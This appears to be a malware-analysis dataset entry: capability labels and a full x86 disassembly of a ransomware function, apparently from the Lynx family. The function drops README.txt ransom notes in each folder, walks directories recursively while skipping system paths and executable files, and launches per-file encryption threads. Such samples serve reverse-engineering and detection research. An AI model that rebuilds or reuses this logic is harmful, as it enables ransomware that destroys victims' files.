Function at 0x404e10
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4bc
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x4b8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
push 0x8000
push 0
mov dword [esp + 0x14], ecx
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
push dword [esp + 0xc]
mov esi, eax
push esi
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test esi, esi
je 0x404e78
test eax, eax
je 0x404e78
cmp word [esi + eax*2 - 2], 0x5c
je 0x404e78
mov dword [esi + eax*2], 0x5c
cmp byte [0x42a33a], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
jne 0x404f10
push 0x8000
push 0
call ebx
push eax
call edi
push dword [esp + 0x10]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.README.txt
push esi
call eax
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x404efe
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push dword [0x42a340]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [0x42a340]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, dword [esp + 0x10]
push 0x4255b4
push edi
call esi
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x405361
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
nop dword [eax + eax]
push 0x4255b8
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x40533c
push 0x4255bc
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x40533c
mov eax, dword [esp + 0x20]
test eax, 0x400
jne 0x40533c
test al, 0x10
je 0x405207
push 0x4255b8
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405063
push 0x4255bc
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405063
push str.windows
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405063
push str.program_files
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405063
push str.program_files__x86_
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405063
push str._RECYCLE.BIN
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405063
push str.appdata
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405063
push 0x8000
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0xc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test esi, esi
je 0x40503e
test eax, eax
je 0x40503e
cmp word [esi + eax*2 - 2], 0x5c
je 0x40503e
mov dword [esi + eax*2], 0x5c
lea eax, [esp + 0x4c]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call eax
mov ecx, esi
call fcn.00404e10
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x405336
push str.program_files
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405087
push str.program_files__x86_
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
jne 0x405336
push 0x8000
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0xc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test ebx, ebx
je 0x4050c2
test eax, eax
je 0x4050c2
cmp word [ebx + eax*2 - 2], 0x5c
je 0x4050c2
mov dword [ebx + eax*2], 0x5c
lea eax, [esp + 0x4c]
push eax
push ebx
call esi
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push ebx
push esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4255b4
push esi
call eax
lea eax, [esp + 0x270]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, 0xffffffff
je 0x4051df
nop word [eax + eax]
push 0x4255b8
lea eax, [esp + 0x2a0]
push eax
call edi
test eax, eax
je 0x4051c1
push 0x4255bc
lea eax, [esp + 0x2a0]
push eax
call edi
test eax, eax
je 0x4051c1
mov eax, dword [esp + 0x270]
and eax, 0x410
cmp eax, 0x10
jne 0x4051c1
push str.microsoft_sql_server
lea eax, [esp + 0x2a0]
push eax
call edi
test eax, eax
jne 0x4051c1
push 0x8000
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x29c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x425584
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00404e10
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x270]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405120
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call ebx
push eax
call esi
jmp 0x405336
test al, 4
jne 0x40533c
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, 1
js 0x405275
nop
lea esi, [esp + 0x4c]
cmp word [esi + eax*2], 0x2e
lea esi, [esi + eax*2]
je 0x405235
sub eax, 1
jns 0x405220
jmp 0x405275
push str..exe
push esi
call edi
test eax, eax
je 0x405336
push str..msi
push esi
call edi
test eax, eax
je 0x405336
push str..dll
push esi
call edi
test eax, eax
je 0x405336
push str..lynx
push esi
call edi
test eax, eax
je 0x405336
mov edx, str.LYNX
lea ecx, [esp + 0x4c]
call fcn.004061f0
test eax, eax
jne 0x405336
mov edx, str.README.txt
lea ecx, [esp + 0x4c]
call fcn.004061f0
test eax, eax
jne 0x405336
push 0x8000
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0xc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test esi, esi
je 0x4052db
test eax, eax
je 0x4052db
cmp word [esi + eax*2 - 2], 0x5c
je 0x4052db
mov dword [esi + eax*2], 0x5c
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, 0x42a330
nop dword [eax]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lock xadd dword [edi], eax
cmp eax, 0xc8
jg 0x4052f0
cmp byte [0x42a33c], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
je 0x405322
push esi
push str.___Encrypting:__s_n
call fcn.004012f0
add esp, 8
push 0
push 0
push esi
push 0x404da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404f40
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [esp + 0x10]
push edi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x4c4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret